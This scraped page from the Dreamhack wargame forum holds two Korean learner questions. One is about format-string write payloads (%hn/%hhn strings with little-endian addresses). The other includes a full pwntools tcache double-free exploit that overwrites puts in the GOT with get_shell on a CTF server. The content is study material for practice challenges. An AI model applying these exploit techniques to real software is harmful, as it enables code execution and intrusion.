보상이 걸린 질문
질문에 답변을 달고 보상을 받아가세요!
제가 지식이 많이 짧아 기초적인 부분에서부터 막혀 풀이에 조금 어려움이 있었습니다. 해당 문제에 페이로드 구성 관련 질문중에 (질문 링크:https://dreamhack.io/forum/qna/2530/) "pay += b'%85c%4$hhn'에 의해 overwrite에 0x69 오버라이트함. 4$이므로 pay의 4 * 4번째에 있는 4바이트(overwrite)에다가 0x69를 오버라이트합니다." 라는 답변이 달려있었는데, 제가 이해하기로는 %85c%4hhn에서 4번째 인자가 있는 자리에 지금까지 출력된 문자열의 길이 만큼을 덮어씌운다고 알고있습니다. 그렇다면 %85c로 인하여 총 85개의 문자열, hex로는 0x55가 덮어씌워져야 될 것 같은데 어째서 0x69가 덮어씌워지는지 모르겠습니다. 또 다른 페이로드 구성 관련 질문 중에서도 (https://dreamhack.io/forum/qna/294/) 첫 번째 %hn 페이로드 : \x12\xa0\x04\x08\x10\xa0\x04\x08%2044c%1$hn%32357c%2$hn 두 번째 %hhn 페이로드 : \x10\xa0\x04\x08\x11\xa0\x04\x08%97c%1$hhn%29c%2$hhn 이렇게 페이로드를 각각 구성하신 분이 있는데 앞에 리틀엔디안으로 적힌 부분이 첫번째와 두번째 페이로드가 다른 것을 확인하였습니다. 저건 overwrite를 해야하는 주소로 알고있는데 해당 질문 작성자 분의 실수인지 아니면 다른 이유가 있는지 궁금하고, 마지막으로 같은 질문에서 두번재 페이로드는 작동한다고 들었는데, hhn은 1바이트로 알고있습니다. hhn으로 두번 덮어씌우기만 하면 총 2바이트만 덮어씌워질텐데 어떻게 작동하는지도 궁금합니다. 이런 부분도 디버거로 제가 직접 궁금증을 해결하고 싶은데 경험이 많이 없다보니 도와주시면 감사하겟습니다 ㅜㅜ
from pwn import * p = remote("host1.dreamhack.games", 10361) e = ELF("./tcache_dup2") def create(size, data): p.sendlineafter(b"> ", b'1') p.sendlineafter(b"Size: ", str(size).encode()) p.sendlineafter(b"Data: ", data) def modify(idx, size, data): p.sendlineafter(b"> ", b'2') p.sendlineafter(b"idx: ", str(idx).encode()) p.sendlineafter(b"Size: ", str(size).encode()) p.sendlineafter(b"Data: ", data) def delete(idx): p.sendlineafter(b"> ", b'3') p.sendlineafter(b"idx: ", str(idx).encode()) create(0x30, b'AAAA') create(0x30, b'AAAA') delete(0) delete(1) modify(1, 0x10, b'B' * 8 + b'\x00') delete(1) create(0x30, p64(e.got["puts"])) create(0x30, b'C' * 8) create(0x30, p64(e.symbols["get_shell"])) p.interactive() 실행해서 문제를 해결하였으나 이해되지 않는 부분들이 있어서 질문 드립니다. 문제에서 printf("1. Create heap\n");는 puts가 실행되는데 printf("> ");는 printf가 실행되는 이유가 뭔가요? \n의 유무인가요? e.got['puts']는 실행되는데 e.got['printf']는 실행이 안되는 이유는 뭔가요?
커뮤니티 최신글